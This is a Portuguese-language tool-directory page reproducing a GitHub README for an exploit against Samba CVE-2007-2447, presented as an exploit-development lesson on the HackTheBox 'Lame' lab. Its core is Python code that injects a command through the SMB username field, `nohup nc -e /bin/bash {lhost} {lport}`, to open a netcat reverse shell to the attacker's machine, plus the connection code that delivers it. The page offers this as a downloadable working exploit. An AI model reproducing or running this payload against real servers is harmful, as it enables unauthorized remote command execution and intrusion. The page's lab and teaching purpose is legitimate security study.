Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2007-2447 — Implementação educacional de exploit para a vulnerabilidade de execução de comandos no script de mapeamento de nome de usuário do Samba 3.0.20-3.0.25rc (CVE-2007-2447) com payload do cliente SMB em Python e reverse shell com netcat. | Kitploit
Ferramentas/GitHubGitHub/foudadev/cve-2007-2447
Análise de VulnerabilidadesExploraçãoTestes de PenetraçãoComando e ControleAprendizado e EducaçãoFerramenta de Acesso RemotoDesenvolvimento de PayloadsExploração de BináriosLabs e Prática
GitHubfoudadev/cve-2007-2447

CVE-2007-2447

Implementação educacional de exploit para a vulnerabilidade de execução de comandos no script de mapeamento de nome de usuário do Samba 3.0.20-3.0.25rc (CVE-2007-2447) com payload do cliente SMB em Python e reverse shell com netcat.

1há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório

Jornada ExploitDev #6 | CVE-2007-2447 | Samba 3.0.20 < 3.0.25rc 'Username' map script' Execução de Comandos

Exploit original: https://www.exploit-db.com/exploits/16320

Nome do exploit: Samba username map script RCE
CVE: 2007-2447
Lab: Lame - HackTheBox

Descrição

Existe uma vulnerabilidade nas versões do Samba anteriores à 3.0.25 que permite a um atacante executar comandos do sistema enviando uma requisição malformada como nome de usuário ao servidor SMB.


Como funciona

Aqui está um exemplo de uso do comando nohup para criar um diretório:

Falando programaticamente, /= significa operador de divisão e atribuição, geralmente usado em loops. Mas por que precisamos usá-lo aqui?
A razão para usar isso é dividir o campo de domínio e o campo de nome de usuário ao enviar a requisição; uma explicação melhor pode ser encontrada aqui. Usamos o campo de nome de usuário para abrir uma conexão netcat e conectar ao nosso servidor.


Escrevendo o exploit

Escrever o exploit é muito fácil porque já existe uma biblioteca de Cliente SMB disponível para Python (instale o pacote python3-samba), então tudo que você precisa fazer é usá-la assim:

root@kitploit:~
username = f"/=`nohup nc -e /bin/bash {lhost} {lport}`"
conn = SMBConnection(username, '', '', '')

try:
    print("Sending payload")
    conn.connect(rhost, rport, timeout=10)
except Exception as e:
    sys.exit(e)

Vamos entender como SMBConnection funciona; eu forneci o username, mas quais são as outras três strings vazias?
Esses outros três argumentos são: password, my_name e remote_name

Para tornar nosso exploit mais legível, podemos escrevê-los explicitamente com seus valores, mas os valores dos argumentos após username não são necessários:

root@kitploit:~
conn = SMBConnection(username=username, password='', my_name='', remote_name='')

A parte seguinte é mais fácil de entender: usamos a instância da classe SMBConnection para fazer uma conexão e fornecemos o IP do alvo, a porta e um número de timeout em segundos:

root@kitploit:~
conn.connect(rhost, rport, timeout=10)

Considerações finais

Nesta sessão de desenvolvimento de exploits, você aprendeu sobre criar um cliente SMB e conectar a um servidor SMB. Você também aprendeu sobre comandos Linux como nohup, com os quais poderá experimentar mais tarde. Você aprendeu sobre se conectar à sua máquina atacante a partir da máquina vítima usando netcat, algo que pode ser útil em sua jornada de desenvolvimento de exploits.

Baixar ferramenta